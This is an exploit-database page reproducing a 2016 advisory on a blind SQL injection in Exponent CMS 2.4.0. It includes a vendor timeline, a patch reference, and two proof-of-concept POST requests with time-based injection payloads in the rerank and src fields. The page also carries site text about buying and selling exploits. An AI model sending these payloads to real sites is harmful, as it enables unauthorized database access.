0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Exponent CMS 2.4.0 Blind SQL Injection Vulnerability
[Document Title: =============== Blind SQL Injection Vulnerability in Exponent CMS 2.4.0 References (Source): ==================== https://exponentcms.lighthouseapp.com/projects/61783/tickets/1394-blind-sql-injection-vulnerability-in-exponent-cms-240-4 https://github.com/exponentcms/exponent-cms/commit/fffb2038de4c603931b785a4c3ec69cfd06181ba Release Date: ============= 2016-11-06 Product & Service Introduction: =============================== Exponent CMS is an exciting web-based content management system. It makes creating and maintaining websites easy for non-technical users, while providing site managers the power and flexibility to add new features, completely customize the layout, and delegate responsibilities to other users. Abstract Advisory Information: ============================== Nicky (Tencent Security Platform Department) discovered a remote sql-injection vulnerability in the Exponent CMS 2.4.0. Vulnerability Disclosure Timeline: ================================== 2016-11-06: Report to the vendor 2016-11-07: Vendor confirm the vul and fix it in exponent cms 2.4.1 Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A remote sql injection web vulnerability has been discovered in the exponent cms 2.4.1. The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms. Request Method(s): [+] POST Vulnerable Parameter(s): [+] lastpage / src Proof of Concept (PoC): ======================= The remote sql-injection web vulnerability can be exploited by remote attackers. For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue. POST /exponent/ HTTP/1.1 Content-Length: 268 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: http://192.168.118.1:80/exponent/ Cookie: PHPSESSID=4b42cc8b7f69ebe1afdcbf4abbfee00b; adminer_key=cdeaea5d52a8f402a28bd04980a7851b Host: 192.168.118.1 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* action=manage_ranks&controller=container&lastpage=http://192.168.118.1/exponent/untitled&model=container&rerank%5b%5d=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&src=%40section1 POST /exponent/ HTTP/1.1 Content-Length: 251 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: http://192.168.118.1:80/exponent/ Cookie: PHPSESSID=f7859e8215b717f81b7dbd2e2c1a2caa; adminer_key=cdeaea5d52a8f402a28bd04980a7851b Host: 192.168.118.1 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* action=manage_ranks&controller=container&lastpage=http://192.168.118.1/exponent/&model=container&rerank%5b%5d=16&src=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/ Solution - Fix & Patch: ======================= Exponent CMS 2.4.1 has fixed it.(https://github.com/exponentcms/exponent-cms/commit/fffb2038de4c603931b785a4c3ec69cfd06181ba) # 0day.today [2024-12-25] #